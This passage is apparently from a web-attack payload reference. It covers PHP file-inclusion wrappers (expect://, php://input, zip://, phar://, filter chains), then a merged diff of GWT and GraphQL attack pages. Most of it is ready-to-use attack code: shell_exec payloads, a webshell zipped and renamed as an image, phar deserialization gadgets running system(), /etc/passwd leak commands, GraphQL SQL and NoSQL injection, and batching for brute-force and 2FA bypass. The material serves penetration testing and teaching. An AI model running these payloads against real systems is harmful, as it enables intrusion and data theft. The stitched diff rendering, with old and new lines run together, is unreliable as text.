Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
## Wrapper expect://
When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the `expect://` wrapper can invoke shell commands as part of its input.
```powershell
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
## Wrapper input://
Specify your payload in the POST parameters, this can be done with a simple `curl` command.
```powershell
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
```
Alternatively, Kadimus has a module to automate this attack.
```powershell
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
```
## Wrapper zip://
- Create an evil payload: `echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;`
- Zip the file
```python
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
```
- Upload the archive and access the file using the wrappers:
```ps1
http://example.com/index.php?page=zip://shell.jpg%23payload.php
```
## Wrapper phar://
### PHAR archive structure
PHAR files work like ZIP files, when you can use the `phar://` to access files stored inside them.
- Create a phar archive containing a backdoor file: `php --define phar.readonly=0 archive.php`
```php
<?php
$phar = new Phar('archive.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', '<?php phpinfo(); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
```
- Use the `phar://` wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt`
### PHAR deserialization
:warning: This technique doesn't work on PHP 8+, the deserialization has been removed.
If a file operation is now performed on our existing phar file via the `phar://` wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: `include`, `file_get_contents`, `file_put_contents`, `copy`, `file_exists`, `is_executable`, `is_file`, `is_dir`, `is_link`, `is_writable`, `fileperms`, `fileinode`, `filesize`, `fileowner`, `filegroup`, `fileatime`, `filemtime`, `filectime`, `filetype`, `getimagesize`, `exif_read_data`, `stat`, `lstat`, `touch`, `md5_file`, etc.
This exploit requires at least one class with magic methods such as `__destruct()` or `__wakeup()`.
Let's take this `AnyClass` class as example, which execute the parameter data.
```php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
...
echo file_exists($_GET['page']);
```
We can craft a phar archive containing a serialized object in its meta-data.
```php
// create new Phar
$phar = new Phar('deser.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// add object of any class as meta data
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
Finally call the phar wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar`
NOTE: you can use the `$phar->setStub()` to add the magic bytes of JPG file: `\xff\xd8\xff`
```php
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
```
## Wrapper convert.iconv:// and dechunk://
### Leak file content from error-based oracle
- `convert.iconv://`: convert input into another folder (`convert.iconv.utf-16le.utf-8`)
- `dechunk://`: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9
The goal of this exploitation is to leak the content of a file, one character at a time, based on the [DownUnderCTF](https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py) writeup.
**Requirements**:
- Backend must not use `file_exists` or `is_file`.
- Vulnerable parameter should be in a `POST` request.
- You can't leak more than 135 characters in a GET request due to the size limit
The exploit chain is based on PHP filters: `iconv` and `dechunk`:
1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error.
2. Use the `dechunk` filter to determine the first character of the file, based on the previous error.
3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one.
Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character.
```ps1
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0
[*] The following URL is targeted : http://127.0.0.1
[*] The following local file is leaked : /test
[*] Running POST requests
[+] File /test leak is finished!
```
### Leak file content inside a custom format output
- [ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) - Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.
To obtain the contents of some file, we would like to have: `{"message":"<file contents>"}`.
```ps1
./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000
```
This can be used against vulnerable code like the following.
```php
<?php
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;
?>
```
### Leak file content using blind file read primitive
- [ambionics/lightyear](https://github.com/ambionics/lightyear)
```ps1
code remote.py # edit Remote.oracle
./lightyear.py test # test that your implementation works
./lightyear.py /etc/passwd # dump a file!
```
## References
- [Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - Dec 5, 2021](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
- [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - May 27, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
- [Introducing lightyear: a new way to dump PHP files - Charles Fol - November 4, 2024](https://web.archive.org/web/20250809094219/https://www.ambionics.io/blog/lightyear-file-dump)
- [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - December 11, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
- [It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - August 10, 2018](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
- [New PHP Exploitation Technique - Dr. Johannes Dahse - August 14, 2018](https://web.archive.org/web/20180817103621/https://blog.ripstech.com/2018/new-php-exploitation-technique/)
- [OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - June 14, 2024](https://youtu.be/dqKFHjcK9hM)
- [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - March 21, 2023](https://web.archive.org/web/20260228090126/https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
- [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - October 18, 2022](https://web.archive.org/web/20260212042712/https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop - December 30, 2021](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)

View File

@@ -2,54 +2,63 @@
> Google Web Toolkit (GWT), also known as GWT Web Toolkit, is an open-source set of tools that allows web developers to create and maintain JavaScript front-end applications using Java. It was originally developed by Google and had its initial release on May 16, 2006. > Google Web Toolkit (GWT), also known as GWT Web Toolkit, is an open-source set of tools that allows web developers to create and maintain JavaScript front-end applications using Java. It was originally developed by Google and had its initial release on May 16, 2006.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Enumerate](#enumerate) * [Methodology](#methodology)
* [References](#references) * [References](#references)
## Tools ## Tools
* [FSecureLABS/GWTMap](https://github.com/FSecureLABS/GWTMap) * [FSecureLABS/GWTMap](https://github.com/FSecureLABS/GWTMap) - GWTMap is a tool to help map the attack surface of Google Web Toolkit (GWT) based applications.
* [GDSSecurity/GWT-Penetration-Testing-Toolset](https://github.com/GDSSecurity/GWT-Penetration-Testing-Toolset) * [GDSSecurity/GWT-Penetration-Testing-Toolset](https://github.com/GDSSecurity/GWT-Penetration-Testing-Toolset) - A set of tools made to assist in penetration testing GWT applications.
## Methodology
## Enumerate
* Enumerate the methods of a remote application via it's bootstrap file and create a local backup of the code (selects permutation at random): * Enumerate the methods of a remote application via it's bootstrap file and create a local backup of the code (selects permutation at random):
```ps1 ```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup
``` ```
* Enumerate the methods of a remote application via a specific code permutation * Enumerate the methods of a remote application via a specific code permutation
```ps1 ```ps1
./gwtmap.py -u http://10.10.10.10/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js ./gwtmap.py -u http://10.10.10.10/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
``` ```
* Enumerate the methods whilst routing traffic through an HTTP proxy: * Enumerate the methods whilst routing traffic through an HTTP proxy:
```ps1 ```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup -p http://127.0.0.1:8080 ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup -p http://127.0.0.1:8080
``` ```
* Enumerate the methods of a local copy (a file) of any given permutation: * Enumerate the methods of a local copy (a file) of any given permutation:
```ps1 ```ps1
./gwtmap.py -F test_data/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js ./gwtmap.py -F test_data/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
``` ```
* Filter output to a specific service or method:
* Filter output to a specific service or method:
```ps1 ```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login
``` ```
* Generate RPC payloads for all methods of the filtered service, with coloured output * Generate RPC payloads for all methods of the filtered service, with coloured output
```ps1 ```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService --rpc --color ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService --rpc --color
``` ```
* Automatically test (probe) the generate RPC request for the filtered service method * Automatically test (probe) the generate RPC request for the filtered service method
```ps1 ```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter TestService.testDetails --rpc --probe ./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter TestService.testDetails --rpc --probe
``` ```
## References ## References
* [From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection - May 22, 2017](https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html) * [From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection - Stevent Seeley - May 22, 2017](https://web.archive.org/web/20260220100658/https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html)
* [Hacking a Google Web Toolkit application - April 22, 2021 - thehackerish](https://thehackerish.com/hacking-a-google-web-toolkit-application/) * [Hacking a Google Web Toolkit application - thehackerish - April 22, 2021](https://web.archive.org/web/20210227222455/https://thehackerish.com/hacking-a-google-web-toolkit-application/)

View File

@@ -2,53 +2,57 @@
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type > GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
## Summary ## Summary
- [GraphQL injection](#graphql-injection) - [Tools](#tools)
- [Summary](#summary) - [Enumeration](#enumeration)
- [Tools](#tools) - [Common GraphQL Endpoints](#common-graphql-endpoints)
- [Enumeration](#enumeration) - [Identify An Injection Point](#identify-an-injection-point)
- [Common GraphQL endpoints](#common-graphql-endpoints)
- [Identify an injection point](#identify-an-injection-point)
- [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection) - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
- [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions) - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
- [Enumerate the types' definition](#enumerate-the-types-definition) - [Enumerate Types Definition](#enumerate-types-definition)
- [List path to reach a type](#list-path-to-reach-a-type) - [Enumerating Paths to a Target Type](#enumerating-paths-to-a-target-type)
- [Exploit](#exploit) - [Methodology](#methodology)
- [Extract data](#extract-data) - [Queries](#queries)
- [Extract data using edges/nodes](#extract-data-using-edgesnodes) - [Basic Query](#basic-query)
- [Extract data using projections](#extract-data-using-projections) - [Query with Arguments](#query-with-arguments)
- [Use mutations](#use-mutations) - [Nested Queries](#nested-queries)
- [Mutations](#mutations)
- [GraphQL Batching Attacks](#graphql-batching-attacks) - [GraphQL Batching Attacks](#graphql-batching-attacks)
- [JSON list based batching](#json-list-based-batching) - [JSON List Based Batching](#json-list-based-batching)
- [Query name based batching](#query-name-based-batching) - [Query Name Based Batching](#query-name-based-batching)
- [Injections](#injections) - [Injections](#injections)
- [NOSQL injection](#nosql-injection) - [NOSQL Injection](#nosql-injection)
- [SQL injection](#sql-injection) - [SQL Injection](#sql-injection)
- [References](#references) - [Labs](#labs)
- [References](#references)
## Tools ## Tools
* [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes - [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes
* [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material - [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material
* [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing - [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing
* [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries - [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries
* [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema - [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema
* [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's - [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's
* [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection - [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection
* [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility - [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility
* [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations - [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
* [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs - [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs
* [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph - [dolevf/graphw00f](https://github.com/dolevf/graphw00f) - GraphQL Server Engine Fingerprinting utility
* [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client - [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
- [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
## Enumeration ## Enumeration
### Common GraphQL endpoints ### Common GraphQL Endpoints
Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint. GraphQL endpoints are often exposed at predictable paths, most commonly:
A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
- `/graphql`
- `/graphiql` (interactive IDE)
You should always probe for both API and developer/debug interfaces.
```ps1 ```ps1
/v1/explorer /v1/explorer
@@ -61,13 +65,32 @@ A more complete list is available at [danielmiessler/SecLists/graphql.txt](https
/graphiql.php /graphiql.php
``` ```
For an extended wordlist, see [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
### Identify an injection point ### Identify An Injection Point
```js > A server MUST accept POST requests, and MAY accept other HTTP methods, such as GET. - [GraphQL Over HTTP](https://graphql.github.io/graphql-over-http/draft/#sec-Request)
example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}} - GET endpoint
```
```js
GET /graphql?query={yourQueryHere}
GET /graphql?query={__schema{types{name}}}
GET /graphiql?query={__schema{types{name}}}
GET /graphql?query=query%20%7B%20user(id:%221%22)%20%7B%20id%20name%20%7D%20%7D
```
- POST endpoint
```js
POST /graphql/v1 HTTP/1.1
Host: example.com
Content-Type: application/json
{
"query": "query { user { id name } }"
}
```
Check if errors are visible. Check if errors are visible.
@@ -77,9 +100,20 @@ Check if errors are visible.
?query={thisdefinitelydoesnotexist} ?query={thisdefinitelydoesnotexist}
``` ```
### Enumerate Database Schema via Introspection ### Enumerate Database Schema via Introspection
The GraphQL specification includes special fields, such as `__schema` and `__type`, that allow clients to ask the server what types exist, what fields they expose, and how everything connects together.
An introspection query is simply a request that leverages these special fields to retrieve that structural information. This is what allows interactive environments like GraphiQL or GraphQL Playground to provide auto-completion, inline documentation, and query validation. When a developer types a query, the tool is not guessing, it has already asked the server what is valid and what is not.
A minimal example looks like this:
```js
{
"query": "{ __schema { types { name } } }"
}
```
URL encoded query to dump the database schema. URL encoded query to dump the database schema.
```js ```js
@@ -88,7 +122,7 @@ fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated
URL decoded query to dump the database schema. URL decoded query to dump the database schema.
```javascript ```rs
fragment FullType on __Type { fragment FullType on __Type {
kind kind
name name
@@ -187,15 +221,14 @@ query IntrospectionQuery {
Single line queries to dump the database schema without fragments. Single line queries to dump the database schema without fragments.
```js ```rs
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}} __schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
``` ```
```js ```rs
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
``` ```
### Enumerate Database Schema via Suggestions ### Enumerate Database Schema via Suggestions
When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema. When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
@@ -208,9 +241,7 @@ When you use an unknown keyword, the GraphQL backend will respond with a suggest
You can also try to bruteforce known keywords, field and type names using wordlists such as [Escape-Technologies/graphql-wordlist](https://github.com/Escape-Technologies/graphql-wordlist) when the schema of a GraphQL API is not accessible. You can also try to bruteforce known keywords, field and type names using wordlists such as [Escape-Technologies/graphql-wordlist](https://github.com/Escape-Technologies/graphql-wordlist) when the schema of a GraphQL API is not accessible.
### Enumerate Types Definition
### Enumerate the types' definition
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
@@ -218,12 +249,16 @@ Enumerate the definition of interesting types using the following GraphQL query,
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}} {__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
``` ```
### Enumerating Paths to a Target Type
### List path to reach a type When working with a GraphQL schema, especially after running an introspection query, it is not always obvious how a specific type can be accessed through queries. A given object (like `User`, `Admin`, or `Payment`) may be reachable through multiple entry points and nested relationships.
- [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Tool that lists the different ways of reaching a given type in a GraphQL schema.
This tool takes the JSON output of an introspection query (which describes the full schema) and analyzes how types are connected. It then outputs different query paths that can be used to reach a specific target type. In practice, this means identifying all the possible ways a client could craft queries that eventually return that object, even if it is deeply nested or indirectly exposed.
```php ```php
$ git clone https://gitlab.com/dee-see/graphql-path-enum graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27 ways to reach the "Skill" node from the "Query" node: Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
@@ -242,63 +277,105 @@ Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (query) -> Query (skills) -> Skill - Query (query) -> Query (skills) -> Skill
``` ```
## Methodology
## Exploit GraphQL supports three main operation types: **queries**, **mutations**, and **subscriptions**.
### Extract data ### Queries
GraphQL queries are used to request specific fields from a schema, and the structure of your query directly mirrors the JSON response you will receive. At its simplest, querying data means selecting a root field (like `user`, `posts`, or `teams`) and then specifying which subfields you want returned. Unlike REST, you never get extra data, everything must be explicitly requested.
#### Basic Query
The simplest query uses the shorthand syntax, where the `query` keyword is omitted. You just define the fields you want starting from the root object.
```js ```js
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}} {
user {
id
name
}
}
```
This tells the server to return the `id` and `name` fields from the user object. The response will follow the exact same structure. If needed, the full syntax can be used with the query keyword, but in most cases the shorthand is enough and commonly seen in real-world traffic.
```js
query {
user {
id
name
}
}
``` ```
![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true) ![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
#### Query with Arguments
To retrieve specific data, arguments can be passed to fields. These behave like function parameters and are often used for IDs, filters, or search queries.
### Extract data using edges/nodes
```json
{
"query": "query {
teams{
total_count,edges{
node{
id,_id,about,handle,state
}
}
}
}"
}
```
### Extract data using projections
:warning: Dont forget to escape the " inside the **options**.
```js ```js
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}} {
user(id: "1") {
name
email
}
}
``` ```
This allows precise targeting of objects and is a common entry point for testing access control issues or IDOR-style vulnerabilities.
### Use mutations #### Nested Queries
Mutations work like function, you can use them to interact with the GraphQL. GraphQL allows deep traversal of relationships in a single request. Instead of chaining multiple API calls, you can explore linked objects directly.
```js
{
user(id: "1") {
name
posts {
title
comments {
content
}
}
}
}
```
### Mutations
A mutation is an operation used to change data on the server (create, update, or delete something).
Mutations work like function, you can use them to interact with the GraphQL endpoint.
```javascript ```javascript
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}} mutation{
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}} signIn(login:"Admin", password:"secretp@ssw0rd"){
token
}
}
mutation{
addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {
id
name
email
}
}
``` ```
**Warning**: Mutations usually won't work with GET. [graphql/graphql-over-http, issue #123](https://github.com/graphql/graphql-over-http/issues/123)
### GraphQL Batching Attacks ### GraphQL Batching Attacks
Common scenario: Common scenario:
* Password Brute-force Amplification Scenario
* Rate Limit bypass
* 2FA bypassing
- Password Brute-force Amplification Scenario
- Rate Limit bypass
- 2FA bypassing
#### JSON list based batching #### JSON List Based Batching
> Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application. > Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
@@ -321,8 +398,7 @@ Query batching works by defining an array of operations in the request body. Eac
] ]
``` ```
#### Query Name Based Batching
#### Query name based batching
```json ```json
{ {
@@ -341,15 +417,13 @@ mutation {
} }
``` ```
## Injections ## Injections
> SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database. > SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
### NOSQL Injection
### NOSQL injection Use `$regex` inside a `search` parameter.
Use `$regex`, `$ne` from []() inside a `search` parameter.
```js ```js
{ {
@@ -362,10 +436,9 @@ Use `$regex`, `$ne` from []() inside a `search` parameter.
} }
``` ```
### SQL Injection
### SQL injection Send a single quote `'` inside a GraphQL parameter to trigger the SQL injection
Send a single quote `'` inside a graphql parameter to trigger the SQL injection
```js ```js
{ {
@@ -377,30 +450,46 @@ Send a single quote `'` inside a graphql parameter to trigger the SQL injection
} }
``` ```
Simple SQL injection inside a graphql field. Simple SQL injection inside a GraphQL field.
```powershell ```powershell
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27 query {
user(name: "patt';SELECT 1;SELECT pg_sleep(30);--'") {
id
email
}
}
``` ```
## Labs
- [PortSwigger - Accessing private GraphQL posts](https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts)
- [PortSwigger - Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure)
- [PortSwigger - Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)
- [PortSwigger - Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass)
